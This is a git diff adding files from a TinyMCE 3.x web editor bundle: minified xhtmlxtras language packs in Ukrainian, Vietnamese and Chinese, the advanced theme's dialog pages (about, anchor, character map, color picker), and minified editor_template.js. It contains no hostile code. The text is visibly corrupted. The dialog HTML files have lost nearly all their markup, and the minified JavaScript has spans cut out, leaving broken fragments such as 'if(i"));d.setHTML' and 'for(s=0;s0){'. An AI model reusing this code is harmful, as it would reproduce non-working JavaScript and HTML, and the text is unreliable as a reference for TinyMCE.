\u0430\u0442\u0440\u0438\u0431\u0443\u0442\u0438","option_rtl":"\u0421\u043f\u0440\u0430\u0432\u0430 \u043b\u0456\u0432\u043e\u0440\u0443\u0447","option_ltr":"\u0417\u043b\u0456\u0432\u0430 \u043f\u0440\u0430\u0432\u043e\u0440\u0443\u0447","insert_date":"\u0412\u0441\u0442\u0430\u0432\u0438\u0442\u0438 \u043f\u043e\u0442\u043e\u0447\u043d\u0456 \u0434\u0430\u0442\u0443/\u0447\u0430\u0441",remove:"\u0412\u0438\u0434\u0430\u043b\u0438\u0442\u0438","title_cite_element":"\u0415\u043b\u0435\u043c\u0435\u043d\u0442 \u0446\u0438\u0442\u0443\u0432\u0430\u043d\u043d\u044f","title_abbr_element":"\u0415\u043b\u0435\u043c\u0435\u043d\u0442 \u0430\u0431\u0440\u0435\u0432\u0456\u0430\u0442\u0443\u0440\u0438","title_acronym_element":"\u0415\u043b\u0435\u043c\u0435\u043d\u0442 \u0430\u043a\u0440\u043e\u043d\u0456\u043c\u0443","title_del_element":"\u0415\u043b\u0435\u043c\u0435\u043d\u0442 \u0432\u0438\u0434\u0430\u043b\u0435\u043d\u043d\u044f","title_ins_element":"\u0415\u043b\u0435\u043c\u0435\u043d\u0442 \u0432\u0441\u0442\u0430\u0432\u043a\u0438","fieldset_events_tab":"\u041f\u043e\u0434\u0456\u0457 \u0435\u043b\u0435\u043c\u0435\u043d\u0442\u0443","fieldset_attrib_tab":"\u0410\u0442\u0440\u0438\u0431\u0443\u0442\u0438 \u0435\u043b\u0435\u043c\u0435\u043d\u0442\u0443","fieldset_general_tab":"\u0417\u0430\u0433\u0430\u043b\u044c\u043d\u0456 \u043d\u0430\u043b\u0430\u0448\u0442\u0443\u0432\u0430\u043d\u043d\u044f","events_tab":"\u041f\u043e\u0434\u0456\u0457","attrib_tab":"\u0410\u0442\u0440\u0438\u0431\u0443\u0442\u0438","general_tab":"\u0417\u0430\u0433\u0430\u043b\u044c\u043d\u0435","attribute_attrib_tab":"\u0410\u0442\u0440\u0438\u0431\u0443\u0442\u0438","attribute_events_tab":"\u041f\u043e\u0434\u0456\u0457","attribute_label_accesskey":"\u041a\u043b\u0430\u0432\u0456\u0448\u0430 \u0434\u043e\u0441\u0442\u0443\u043f\u0443","attribute_label_tabindex":"\u0422\u0430\u0431\u0456\u043d\u0434\u0435\u043a\u0441","attribute_label_langcode":"\u041c\u043e\u0432\u0430","attribute_option_rtl":"\u0421\u043f\u0440\u0430\u0432\u0430 \u043d\u0430\u043b\u0456\u0432\u043e","attribute_option_ltr":"\u0417\u043b\u0456\u0432\u0430 \u043d\u0430\u043f\u0440\u0430\u0432\u043e","attribute_label_langdir":"\u041d\u0430\u043f\u0440\u044f\u043c \u0442\u0435\u043a\u0441\u0442\u0443","attribute_label_datetime":"\u0414\u0430\u0442\u0430/\u0427\u0430\u0441","attribute_label_cite":"\u0426\u0438\u0442\u0430\u0442\u0430","attribute_label_style":"\u0421\u0442\u0438\u043b\u044c","attribute_label_class":"\u041a\u043b\u0430\u0441","attribute_label_id":"\u0406\u0434\u0435\u043d\u0442\u0438\u0444\u0456\u043a\u0430\u0442\u043e\u0440","attribute_label_title":"\u0417\u0430\u0433\u043e\u043b\u043e\u0432\u043e\u043a"}); \ No newline at end of file diff --git a/js/tiny_mce2/plugins/xhtmlxtras/langs/vi_dlg.js b/js/tiny_mce2/plugins/xhtmlxtras/langs/vi_dlg.js new file mode 100755 index 0000000..227659a --- /dev/null +++ b/js/tiny_mce2/plugins/xhtmlxtras/langs/vi_dlg.js @@ -0,0 +1 @@ +tinyMCE.addI18n('vi.xhtmlxtras_dlg',{"attribs_title":"Ch\u00e8n/S\u1eeda thu\u1ed9c t\u00ednh","option_rtl":"Ph\u1ea3i qua tr\u00e1i","option_ltr":"Tr\u00e1i qua ph\u1ea3i","insert_date":"Ch\u00e8n ng\u00e0y/gi\u1edd hi\u1ec7n th\u1eddi",remove:"Lo\u1ea1i b\u1ecf","title_cite_element":"Bi\u00ea\u0309u ch\u01b0\u01a1ng ph\u1ea7n t\u1eed","title_abbr_element":"T\u00ean vi\u1ebft t\u1eaft ph\u1ea7n t\u1eed","title_acronym_element":"Vi\u1ebft t\u1eaft ph\u1ea7n t\u1eed","title_del_element":"X\u00f3a ph\u1ea7n t\u1eed","title_ins_element":"Ch\u00e8n ph\u1ea7n t\u1eed","fieldset_events_tab":"S\u1ef1 ki\u1ec7n ph\u1ea7n t\u1eed","fieldset_attrib_tab":"Thu\u1ed9c t\u00ednh ph\u1ea7n t\u1eed","fieldset_general_tab":"Thi\u1ebft l\u1eadp chung","events_tab":"S\u1ef1 ki\u1ec7n","attrib_tab":"Thu\u1ed9c t\u00ednh","general_tab":"Chung","attribute_attrib_tab":"Thu\u1ed9c t\u00ednh","attribute_events_tab":"S\u1ef1 ki\u1ec7n","attribute_label_accesskey":"Ph\u00edm truy c\u1eadp","attribute_label_tabindex":"Ch\u1ec9 m\u1ee5c th\u1ebb","attribute_label_langcode":"Ng\u00f4n ng\u1eef","attribute_option_rtl":"Ph\u1ea3i qua tr\u00e1i","attribute_option_ltr":"Tr\u00e1i qua ph\u1ea3i","attribute_label_langdir":"H\u01b0\u1edbng v\u0103n b\u1ea3n","attribute_label_datetime":"Ng\u00e0y/gi\u1edd","attribute_label_cite":"Ch\u00fa th\u00edch","attribute_label_style":"Ki\u1ec3u d\u00e1ng","attribute_label_class":"L\u1edbp","attribute_label_id":"ID","attribute_label_title":"Ti\u00eau \u0111\u1ec1"}); \ No newline at end of file diff --git a/js/tiny_mce2/plugins/xhtmlxtras/langs/zh-cn_dlg.js b/js/tiny_mce2/plugins/xhtmlxtras/langs/zh-cn_dlg.js new file mode 100755 index 0000000..eccbdf6 --- /dev/null +++ b/js/tiny_mce2/plugins/xhtmlxtras/langs/zh-cn_dlg.js @@ -0,0 +1 @@ +tinyMCE.addI18n('zh-cn.xhtmlxtras_dlg',{"attribs_title":"\u63d2\u5165/\u7f16\u8f91 \u5c5e\u6027","option_rtl":"\u4ece\u53f3\u5230\u5de6","option_ltr":"\u4ece\u5de6\u5230\u53f3","insert_date":"\u63d2\u5165\u5f53\u524d\u65e5\u671f/\u65f6\u95f4",remove:"\u79fb\u9664","title_cite_element":"\u5f15\u7528\u5143\u7d20","title_abbr_element":"\u7f29\u5199\u5143\u7d20","title_acronym_element":"\u9996\u5b57\u6bcd\u7f29\u5199\u5143\u7d20","title_del_element":"\u5220\u9664\u5143\u7d20","title_ins_element":"\u63d2\u5165\u5143\u7d20","fieldset_events_tab":"\u5143\u7d20\u4e8b\u4ef6","fieldset_attrib_tab":"\u5143\u7d20\u5c5e\u6027","fieldset_general_tab":"\u666e\u901a\u8bbe\u7f6e","events_tab":"\u4e8b\u4ef6","attrib_tab":"\u5c5e\u6027","general_tab":"\u666e\u901a","attribute_attrib_tab":"\u5c5e\u6027","attribute_events_tab":"\u4e8b\u4ef6","attribute_label_accesskey":"\u5feb\u6377\u952e","attribute_label_tabindex":"Tab\u7d22\u5f15","attribute_label_langcode":"\u8bed\u8a00","attribute_option_rtl":"\u4ece\u53f3\u5230\u5de6","attribute_option_ltr":"\u4ece\u5de6\u5230\u53f3","attribute_label_langdir":"\u6587\u5b57\u4e66\u5199\u65b9\u5411","attribute_label_datetime":"\u65e5\u671f/\u65f6\u95f4","attribute_label_cite":"\u5f15\u7528","attribute_label_style":"\u6837\u5f0f","attribute_label_class":"\u7c7b\u522b","attribute_label_id":"ID","attribute_label_title":"\u6807\u9898"}); \ No newline at end of file diff --git a/js/tiny_mce2/plugins/xhtmlxtras/langs/zh-tw_dlg.js b/js/tiny_mce2/plugins/xhtmlxtras/langs/zh-tw_dlg.js new file mode 100755 index 0000000..d0fec64 --- /dev/null +++ b/js/tiny_mce2/plugins/xhtmlxtras/langs/zh-tw_dlg.js @@ -0,0 +1 @@ +tinyMCE.addI18n('zh-tw.xhtmlxtras_dlg',{"attribs_title":"\u52a0\u5165 / \u8a2d\u5b9a\u5c6c\u6027","option_rtl":"\u5f9e\u53f3\u5230\u5de6","option_ltr":"\u5f9e\u5de6\u5230\u53f3","insert_date":"\u52a0\u5165\u76ee\u524d\u7684\u6642\u9593\u3001\u65e5\u671f",remove:"\u79fb\u9664","title_cite_element":"\u5f15\u7528\u6a19\u7c64","title_abbr_element":"\u7e2e\u5beb\u6a19\u7c64","title_acronym_element":"\u982d\u5b57\u8a9e\u6a19\u7c64","title_del_element":"\u79fb\u9664 HTML \u6a19\u7c64","title_ins_element":"\u65b0\u589e HTML \u6a19\u7c64","fieldset_events_tab":"\u6a19\u7c64\u4e8b\u4ef6","fieldset_attrib_tab":"\u6a19\u7c64\u5c6c\u6027","fieldset_general_tab":"\u8a2d\u5b9a","events_tab":"\u4e8b\u4ef6","attrib_tab":"\u5c6c\u6027","general_tab":"\u4e00\u822c","attribute_attrib_tab":"\u5c6c\u6027","attribute_events_tab":"\u4e8b\u4ef6","attribute_label_accesskey":"HTML \u5feb\u901f\u9375 (AccessKey)","attribute_label_tabindex":"Tab \u7d22\u5f15\u4f4d\u7f6e (TabIndex)","attribute_label_langcode":"\u8a9e\u7cfb","attribute_option_rtl":"\u5f9e\u53f3\u908a\u5230\u5de6\u908a","attribute_option_ltr":"\u5f9e\u5de6\u908a\u5230\u53f3\u908a","attribute_label_langdir":"\u66f8\u5beb\u65b9\u5f0f","attribute_label_datetime":"\u6642\u9593\u65e5\u671f","attribute_label_cite":"\u5f15\u7528","attribute_label_style":"\u6a23\u5f0f","attribute_label_class":"\u985e\u5225 (Class)","attribute_label_id":"\u6a19\u7c64\u7684 ID ","attribute_label_title":"\u6a19\u984c"}); \ No newline at end of file diff --git a/js/tiny_mce2/themes/advanced/about.htm b/js/tiny_mce2/themes/advanced/about.htm new file mode 100755 index 0000000..fe36603 --- /dev/null +++ b/js/tiny_mce2/themes/advanced/about.htm @@ -0,0 +1,52 @@ + + + + {#advanced_dlg.about_title} + + + + + + + +
    +
    +

    {#advanced_dlg.about_title}

    +

    Version: ()

    +

    TinyMCE is a platform independent web based Javascript HTML WYSIWYG editor control released as Open Source under LGPL + by Moxiecode Systems AB. It has the ability to convert HTML TEXTAREA fields or other HTML elements to editor instances.

    +

    Copyright © 2003-2008, Moxiecode Systems AB, All rights reserved.

    +

    For more information about this software visit the TinyMCE website.

    + +
    + Got Moxie? +
    +
    + +
    +
    +

    {#advanced_dlg.about_loaded}

    + +
    +
    + +

     

    +
    +
    + +
    +
    +
    +
    + +
    + +
    + + diff --git a/js/tiny_mce2/themes/advanced/anchor.htm b/js/tiny_mce2/themes/advanced/anchor.htm new file mode 100755 index 0000000..dc53312 --- /dev/null +++ b/js/tiny_mce2/themes/advanced/anchor.htm @@ -0,0 +1,26 @@ + + + + {#advanced_dlg.anchor_title} + + + + +
    + + + + + + + + +
    {#advanced_dlg.anchor_title}
    + +
    + + +
    +
    + + diff --git a/js/tiny_mce2/themes/advanced/charmap.htm b/js/tiny_mce2/themes/advanced/charmap.htm new file mode 100755 index 0000000..12acfe1 --- /dev/null +++ b/js/tiny_mce2/themes/advanced/charmap.htm @@ -0,0 +1,55 @@ + + + + {#advanced_dlg.charmap_title} + + + + + + + + + + + + + + + + + + + +
    + + + + + + + + + +
     
     
    +
    + + + + + + + + + + + + + + + + +
     
     
     
    +
    {#advanced_dlg.charmap_usage}
    + + diff --git a/js/tiny_mce2/themes/advanced/color_picker.htm b/js/tiny_mce2/themes/advanced/color_picker.htm new file mode 100755 index 0000000..e7f19ab --- /dev/null +++ b/js/tiny_mce2/themes/advanced/color_picker.htm @@ -0,0 +1,74 @@ + + + + {#advanced_dlg.colorpicker_title} + + + + + + +
    + + +
    +
    +
    + {#advanced_dlg.colorpicker_picker_title} +
    + + +
    + +
    + +
    +
    +
    +
    + +
    +
    + {#advanced_dlg.colorpicker_palette_title} +
    + +
    + +
    +
    +
    + +
    +
    + {#advanced_dlg.colorpicker_named_title} +
    + +
    + +
    + +
    + {#advanced_dlg.colorpicker_name} +
    +
    +
    +
    + +
    + + +
    + +
    + +
    +
    +
    + + diff --git a/js/tiny_mce2/themes/advanced/editor_template.js b/js/tiny_mce2/themes/advanced/editor_template.js new file mode 100755 index 0000000..d85b495 --- /dev/null +++ b/js/tiny_mce2/themes/advanced/editor_template.js @@ -0,0 +1 @@ +(function(e){var d=e.DOM,b=e.dom.Event,h=e.extend,f=e.each,a=e.util.Cookie,g,c=e.explode;e.ThemeManager.requireLangPack("advanced");e.create("tinymce.themes.AdvancedTheme",{sizes:[8,10,12,14,18,24,36],controls:{bold:["bold_desc","Bold"],italic:["italic_desc","Italic"],underline:["underline_desc","Underline"],strikethrough:["striketrough_desc","Strikethrough"],justifyleft:["justifyleft_desc","JustifyLeft"],justifycenter:["justifycenter_desc","JustifyCenter"],justifyright:["justifyright_desc","JustifyRight"],justifyfull:["justifyfull_desc","JustifyFull"],bullist:["bullist_desc","InsertUnorderedList"],numlist:["numlist_desc","InsertOrderedList"],outdent:["outdent_desc","Outdent"],indent:["indent_desc","Indent"],cut:["cut_desc","Cut"],copy:["copy_desc","Copy"],paste:["paste_desc","Paste"],undo:["undo_desc","Undo"],redo:["redo_desc","Redo"],link:["link_desc","mceLink"],unlink:["unlink_desc","unlink"],image:["image_desc","mceImage"],cleanup:["cleanup_desc","mceCleanup"],help:["help_desc","mceHelp"],code:["code_desc","mceCodeEditor"],hr:["hr_desc","InsertHorizontalRule"],removeformat:["removeformat_desc","RemoveFormat"],sub:["sub_desc","subscript"],sup:["sup_desc","superscript"],forecolor:["forecolor_desc","ForeColor"],forecolorpicker:["forecolor_desc","mceForeColor"],backcolor:["backcolor_desc","HiliteColor"],backcolorpicker:["backcolor_desc","mceBackColor"],charmap:["charmap_desc","mceCharMap"],visualaid:["visualaid_desc","mceToggleVisualAid"],anchor:["anchor_desc","mceInsertAnchor"],newdocument:["newdocument_desc","mceNewDocument"],blockquote:["blockquote_desc","mceBlockQuote"]},stateControls:["bold","italic","underline","strikethrough","bullist","numlist","justifyleft","justifycenter","justifyright","justifyfull","sub","sup","blockquote"],init:function(j,k){var l=this,m,i,n;l.editor=j;l.url=k;l.onResolveName=new e.util.Dispatcher(this);j.forcedHighContrastMode=j.settings.detect_highcontrast&&l._isHighContrast();j.settings.skin=j.forcedHighContrastMode?"highcontrast":j.settings.skin;l.settings=m=h({theme_advanced_path:true,theme_advanced_toolbar_location:"bottom",theme_advanced_buttons1:"bold,italic,underline,strikethrough,|,justifyleft,justifycenter,justifyright,justifyfull,|,styleselect,formatselect",theme_advanced_buttons2:"bullist,numlist,|,outdent,indent,|,undo,redo,|,link,unlink,anchor,image,cleanup,help,code",theme_advanced_buttons3:"hr,removeformat,visualaid,|,sub,sup,|,charmap",theme_advanced_blockformats:"p,address,pre,h1,h2,h3,h4,h5,h6",theme_advanced_toolbar_align:"center",theme_advanced_fonts:"Andale Mono=andale mono,times;Arial=arial,helvetica,sans-serif;Arial Black=arial black,avant garde;Book Antiqua=book antiqua,palatino;Comic Sans MS=comic sans ms,sans-serif;Courier New=courier new,courier;Georgia=georgia,palatino;Helvetica=helvetica;Impact=impact,chicago;Symbol=symbol;Tahoma=tahoma,arial,helvetica,sans-serif;Terminal=terminal,monaco;Times New Roman=times new roman,times;Trebuchet MS=trebuchet ms,geneva;Verdana=verdana,geneva;Webdings=webdings;Wingdings=wingdings,zapf dingbats",theme_advanced_more_colors:1,theme_advanced_row_height:23,theme_advanced_resize_horizontal:1,theme_advanced_resizing_use_cookie:1,theme_advanced_font_sizes:"1,2,3,4,5,6,7",theme_advanced_font_selector:"span",theme_advanced_show_current_color:0,readonly:j.settings.readonly},j.settings);if(!m.font_size_style_values){m.font_size_style_values="8pt,10pt,12pt,14pt,18pt,24pt,36pt"}if(e.is(m.theme_advanced_font_sizes,"string")){m.font_size_style_values=e.explode(m.font_size_style_values);m.font_size_classes=e.explode(m.font_size_classes||"");n={};j.settings.theme_advanced_font_sizes=m.theme_advanced_font_sizes;f(j.getParam("theme_advanced_font_sizes","","hash"),function(q,p){var o;if(p==q&&q>=1&&q<=7){p=q+" ("+l.sizes[q-1]+"pt)";o=m.font_size_classes[q-1];q=m.font_size_style_values[q-1]||(l.sizes[q-1]+"pt")}if(/^\s*\./.test(q)){o=q.replace(/\./g,"")}n[p]=o?{"class":o}:{fontSize:q}});m.theme_advanced_font_sizes=n}if((i=m.theme_advanced_path_location)&&i!="none"){m.theme_advanced_statusbar_location=m.theme_advanced_path_location}if(m.theme_advanced_statusbar_location=="none"){m.theme_advanced_statusbar_location=0}if(j.settings.content_css!==false){j.contentCSS.push(j.baseURI.toAbsolute(k+"/skins/"+j.settings.skin+"/content.css"))}j.onInit.add(function(){if(!j.settings.readonly){j.onNodeChange.add(l._nodeChanged,l);j.onKeyUp.add(l._updateUndoStatus,l);j.onMouseUp.add(l._updateUndoStatus,l);j.dom.bind(j.dom.getRoot(),"dragend",function(){l._updateUndoStatus(j)})}});j.onSetProgressState.add(function(q,o,r){var s,t=q.id,p;if(o){l.progressTimer=setTimeout(function(){s=q.getContainer();s=s.insertBefore(d.create("DIV",{style:"position:relative"}),s.firstChild);p=d.get(q.id+"_tbl");d.add(s,"div",{id:t+"_blocker","class":"mceBlocker",style:{width:p.clientWidth+2,height:p.clientHeight+2}});d.add(s,"div",{id:t+"_progress","class":"mceProgress",style:{left:p.clientWidth/2,top:p.clientHeight/2}})},r||0)}else{d.remove(t+"_blocker");d.remove(t+"_progress");clearTimeout(l.progressTimer)}});d.loadCSS(m.editor_css?j.documentBaseURI.toAbsolute(m.editor_css):k+"/skins/"+j.settings.skin+"/ui.css");if(m.skin_variant){d.loadCSS(k+"/skins/"+j.settings.skin+"/ui_"+m.skin_variant+".css")}},_isHighContrast:function(){var i,j=d.add(d.getRoot(),"div",{style:"background-color: rgb(171,239,86);"});i=(d.getStyle(j,"background-color",true)+"").toLowerCase().replace(/ /g,"");d.remove(j);return i!="rgb(171,239,86)"&&i!="#abef56"},createControl:function(l,i){var j,k;if(k=i.createControl(l)){return k}switch(l){case"styleselect":return this._createStyleSelect();case"formatselect":return this._createBlockFormats();case"fontselect":return this._createFontSelect();case"fontsizeselect":return this._createFontSizeSelect();case"forecolor":return this._createForeColorMenu();case"backcolor":return this._createBackColorMenu()}if((j=this.controls[l])){return i.createButton(l,{title:"advanced."+j[0],cmd:j[1],ui:j[2],value:j[3]})}},execCommand:function(k,j,l){var i=this["_"+k];if(i){i.call(this,j,l);return true}return false},_importClasses:function(k){var i=this.editor,j=i.controlManager.get("styleselect");if(j.getLength()==0){f(i.dom.getClasses(),function(n,l){var m="style_"+l;i.formatter.register(m,{inline:"span",attributes:{"class":n["class"]},selector:"*"});j.add(n["class"],m)})}},_createStyleSelect:function(m){var k=this,i=k.editor,j=i.controlManager,l;l=j.createListBox("styleselect",{title:"advanced.style_select",onselect:function(o){var p,n=[];f(l.items,function(q){n.push(q.value)});i.focus();i.undoManager.add();p=i.formatter.matchAll(n);if(!o||p[0]==o){if(p[0]){i.formatter.remove(p[0])}}else{i.formatter.apply(o)}i.undoManager.add();i.nodeChanged();return false}});i.onInit.add(function(){var o=0,n=i.getParam("style_formats");if(n){f(n,function(p){var q,r=0;f(p,function(){r++});if(r>1){q=p.name=p.name||"style_"+(o++);i.formatter.register(q,p);l.add(p.title,q)}else{l.add(p.title)}})}else{f(i.getParam("theme_advanced_styles","","hash"),function(r,q){var p;if(r){p="style_"+(o++);i.formatter.register(p,{inline:"span",classes:r,selector:"*"});l.add(k.editor.translate(q),p)}})}});if(l.getLength()==0){l.onPostRender.add(function(o,p){if(!l.NativeListBox){b.add(p.id+"_text","focus",k._importClasses,k);b.add(p.id+"_text","mousedown",k._importClasses,k);b.add(p.id+"_open","focus",k._importClasses,k);b.add(p.id+"_open","mousedown",k._importClasses,k)}else{b.add(p.id,"focus",k._importClasses,k)}})}return l},_createFontSelect:function(){var k,j=this,i=j.editor;k=i.controlManager.createListBox("fontselect",{title:"advanced.fontdefault",onselect:function(l){var m=k.items[k.selectedIndex];if(!l&&m){i.execCommand("FontName",false,m.value);return}i.execCommand("FontName",false,l);k.select(function(n){return l==n});if(m&&m.value==l){k.select(null)}return false}});if(k){f(i.getParam("theme_advanced_fonts",j.settings.theme_advanced_fonts,"hash"),function(m,l){k.add(i.translate(l),m,{style:m.indexOf("dings")==-1?"font-family:"+m:""})})}return k},_createFontSizeSelect:function(){var m=this,k=m.editor,n,l=0,j=[];n=k.controlManager.createListBox("fontsizeselect",{title:"advanced.font_size",onselect:function(i){var o=n.items[n.selectedIndex];if(!i&&o){o=o.value;if(o["class"]){k.formatter.toggle("fontsize_class",{value:o["class"]});k.undoManager.add();k.nodeChanged()}else{k.execCommand("FontSize",false,o.fontSize)}return}if(i["class"]){k.focus();k.undoManager.add();k.formatter.toggle("fontsize_class",{value:i["class"]});k.undoManager.add();k.nodeChanged()}else{k.execCommand("FontSize",false,i.fontSize)}n.select(function(p){return i==p});if(o&&(o.value.fontSize==i.fontSize||o.value["class"]&&o.value["class"]==i["class"])){n.select(null)}return false}});if(n){f(m.settings.theme_advanced_font_sizes,function(o,i){var p=o.fontSize;if(p>=1&&p<=7){p=m.sizes[parseInt(p)-1]+"pt"}n.add(i,o,{style:"font-size:"+p,"class":"mceFontSize"+(l++)+(" "+(o["class"]||""))})})}return n},_createBlockFormats:function(){var k,i={p:"advanced.paragraph",address:"advanced.address",pre:"advanced.pre",h1:"advanced.h1",h2:"advanced.h2",h3:"advanced.h3",h4:"advanced.h4",h5:"advanced.h5",h6:"advanced.h6",div:"advanced.div",blockquote:"advanced.blockquote",code:"advanced.code",dt:"advanced.dt",dd:"advanced.dd",samp:"advanced.samp"},j=this;k=j.editor.controlManager.createListBox("formatselect",{title:"advanced.block",onselect:function(l){j.editor.execCommand("FormatBlock",false,l);return false}});if(k){f(j.editor.getParam("theme_advanced_blockformats",j.settings.theme_advanced_blockformats,"hash"),function(m,l){k.add(j.editor.translate(l!=m?l:i[m]),m,{"class":"mce_formatPreview mce_"+m})})}return k},_createForeColorMenu:function(){var m,j=this,k=j.settings,l={},i;if(k.theme_advanced_more_colors){l.more_colors_func=function(){j._mceColorPicker(0,{color:m.value,func:function(n){m.setColor(n)}})}}if(i=k.theme_advanced_text_colors){l.colors=i}if(k.theme_advanced_default_foreground_color){l.default_color=k.theme_advanced_default_foreground_color}l.title="advanced.forecolor_desc";l.cmd="ForeColor";l.scope=this;m=j.editor.controlManager.createColorSplitButton("forecolor",l);return m},_createBackColorMenu:function(){var m,j=this,k=j.settings,l={},i;if(k.theme_advanced_more_colors){l.more_colors_func=function(){j._mceColorPicker(0,{color:m.value,func:function(n){m.setColor(n)}})}}if(i=k.theme_advanced_background_colors){l.colors=i}if(k.theme_advanced_default_background_color){l.default_color=k.theme_advanced_default_background_color}l.title="advanced.backcolor_desc";l.cmd="HiliteColor";l.scope=this;m=j.editor.controlManager.createColorSplitButton("backcolor",l);return m},renderUI:function(k){var m,l,q,v=this,r=v.editor,w=v.settings,u,j,i;if(r.settings){r.settings.aria_label=w.aria_label+r.getLang("advanced.help_shortcut")}m=j=d.create("span",{role:"application","aria-labelledby":r.id+"_voice",id:r.id+"_parent","class":"mceEditor "+r.settings.skin+"Skin"+(w.skin_variant?" "+r.settings.skin+"Skin"+v._ufirst(w.skin_variant):"")});d.add(m,"span",{"class":"mceVoiceLabel",style:"display:none;",id:r.id+"_voice"},w.aria_label);if(!d.boxModel){m=d.add(m,"div",{"class":"mceOldBoxModel"})}m=u=d.add(m,"table",{role:"presentation",id:r.id+"_tbl","class":"mceLayout",cellSpacing:0,cellPadding:0});m=q=d.add(m,"tbody");switch((w.theme_advanced_layout_manager||"").toLowerCase()){case"rowlayout":l=v._rowLayout(w,q,k);break;case"customlayout":l=r.execCallback("theme_advanced_custom_layout",w,q,k,j);break;default:l=v._simpleLayout(w,q,k,j)}m=k.targetNode;i=u.rows;d.addClass(i[0],"mceFirst");d.addClass(i[i.length-1],"mceLast");f(d.select("tr",q),function(o){d.addClass(o.firstChild,"mceFirst");d.addClass(o.childNodes[o.childNodes.length-1],"mceLast")});if(d.get(w.theme_advanced_toolbar_container)){d.get(w.theme_advanced_toolbar_container).appendChild(j)}else{d.insertAfter(j,m)}b.add(r.id+"_path_row","click",function(n){n=n.target;if(n.nodeName=="A"){v._sel(n.className.replace(/^.*mcePath_([0-9]+).*$/,"$1"));return b.cancel(n)}});if(!r.getParam("accessibility_focus")){b.add(d.add(j,"a",{href:"#"},""),"focus",function(){tinyMCE.get(r.id).focus()})}if(w.theme_advanced_toolbar_location=="external"){k.deltaHeight=0}v.deltaHeight=k.deltaHeight;k.targetNode=null;r.onKeyDown.add(function(p,n){var s=121,o=122;if(n.altKey){if(n.keyCode===s){if(e.isWebKit){window.focus()}v.toolbarGroup.focus();return b.cancel(n)}else{if(n.keyCode===o){d.get(p.id+"_path_row").focus();return b.cancel(n)}}}});r.addShortcut("alt+0","","mceShortcuts",v);return{iframeContainer:l,editorContainer:r.id+"_parent",sizeContainer:u,deltaHeight:k.deltaHeight}},getInfo:function(){return{longname:"Advanced theme",author:"Moxiecode Systems AB",authorurl:"http://tinymce.moxiecode.com",version:e.majorVersion+"."+e.minorVersion}},resizeBy:function(i,j){var k=d.get(this.editor.id+"_ifr");this.resizeTo(k.clientWidth+i,k.clientHeight+j)},resizeTo:function(i,m,k){var j=this.editor,l=this.settings,n=d.get(j.id+"_tbl"),o=d.get(j.id+"_ifr");i=Math.max(l.theme_advanced_resizing_min_width||100,i);m=Math.max(l.theme_advanced_resizing_min_height||100,m);i=Math.min(l.theme_advanced_resizing_max_width||65535,i);m=Math.min(l.theme_advanced_resizing_max_height||65535,m);d.setStyle(n,"height","");d.setStyle(o,"height",m);if(l.theme_advanced_resize_horizontal){d.setStyle(n,"width","");d.setStyle(o,"width",i);if(i"));d.setHTML(l,q.join(""))},_addStatusBar:function(m,j){var k,v=this,p=v.editor,w=v.settings,i,q,u,l;k=d.add(m,"tr");k=l=d.add(k,"td",{"class":"mceStatusbar"});k=d.add(k,"div",{id:p.id+"_path_row",role:"group","aria-labelledby":p.id+"_path_voice"});if(w.theme_advanced_path){d.add(k,"span",{id:p.id+"_path_voice"},p.translate("advanced.path"));d.add(k,"span",{},": ")}else{d.add(k,"span",{}," ")}if(w.theme_advanced_resizing){d.add(l,"a",{id:p.id+"_resize",href:"javascript:;",onclick:"return false;","class":"mceResize",tabIndex:"-1"});if(w.theme_advanced_resizing_use_cookie){p.onPostRender.add(function(){var n=a.getHash("TinyMCE_"+p.id+"_size"),r=d.get(p.id+"_tbl");if(!n){return}v.resizeTo(n.cw,n.ch)})}p.onPostRender.add(function(){b.add(p.id+"_resize","click",function(n){n.preventDefault()});b.add(p.id+"_resize","mousedown",function(D){var t,r,s,o,C,z,A,F,n,E,x;function y(G){G.preventDefault();n=A+(G.screenX-C);E=F+(G.screenY-z);v.resizeTo(n,E)}function B(G){b.remove(d.doc,"mousemove",t);b.remove(p.getDoc(),"mousemove",r);b.remove(d.doc,"mouseup",s);b.remove(p.getDoc(),"mouseup",o);n=A+(G.screenX-C);E=F+(G.screenY-z);v.resizeTo(n,E,true)}D.preventDefault();C=D.screenX;z=D.screenY;x=d.get(v.editor.id+"_ifr");A=n=x.clientWidth;F=E=x.clientHeight;t=b.add(d.doc,"mousemove",y);r=b.add(p.getDoc(),"mousemove",y);s=b.add(d.doc,"mouseup",B);o=b.add(p.getDoc(),"mouseup",B)})})}j.deltaHeight-=21;k=m=null},_updateUndoStatus:function(j){var i=j.controlManager,k=j.undoManager;i.setDisabled("undo",!k.hasUndo()&&!k.typing);i.setDisabled("redo",!k.hasRedo())},_nodeChanged:function(m,r,D,q,E){var y=this,C,F=0,x,G,z=y.settings,w,k,u,B,l,j,i;e.each(y.stateControls,function(n){r.setActive(n,m.queryCommandState(y.controls[n][1]))});function o(p){var s,n=E.parents,t=p;if(typeof(p)=="string"){t=function(v){return v.nodeName==p}}for(s=0;s0){y.statusKeyboardNavigation=new e.ui.KeyboardNavigation({root:m.id+"_path_row",items:d.select("a",C),excludeFromTabOrder:true,onCancel:function(){m.focus()}},d)}}},_sel:function(i){this.editor.execCommand("mceSelectNodeDepth",false,i)},_mceInsertAnchor:function(k,j){var i=this.editor;i.windowManager.open({url:this.url+"/anchor.htm",width:320+parseInt(i.getLang("advanced.anchor_delta_width",0)),height:90+parseInt(i.getLang("advanced.anchor_delta_height",0)),inline:true},{theme_url:this.url})},_mceCharMap:function(){var i=this.editor;i.windowManager.open({url:this.url+"/charmap.htm",width:550+parseInt(i.getLang("advanced.charmap_delta_width",0)),height:265+parseInt(i.getLang("advanced.charmap_delta_height",0)),inline:true},{theme_url:this.url})},_mceHelp:function(){var i=this.editor;i.windowManager.open({url:this.url+"/about.htm",width:480,height:380,inline:true},{theme_url:this.url})},_mceShortcuts:function(){var i=this.editor;i.windowManager.open({url:this.url+"/shortcuts.htm",width:480,height:380,inline:true},{theme_url:this.url})},_mceColorPicker:function(k,j){var i=this.editor;j=j||{};i.windowManager.open({url:this.url+"/color_picker.htm",width:375+parseInt(i.getLang("advanced.colorpicker_delta_width",0)),height:250+parseInt(i.getLang("advanced.colorpicker_delta_height",0)),close_previous:false,inline:true},{input_color:j.color,func:j.func,theme_url:this.url})},_mceCodeEditor:function(j,k){var i=this.editor;i.windowManager.open({url:this.url+"/source_editor.htm",width:parseInt(i.getParam("theme_advanced_source_editor_width",720)),height:parseInt(i.getParam("theme_advanced_source_editor_height",580)),inline:true,resizable:true,maximizable:true},{theme_url:this.url})},_mceImage:function(j,k){var 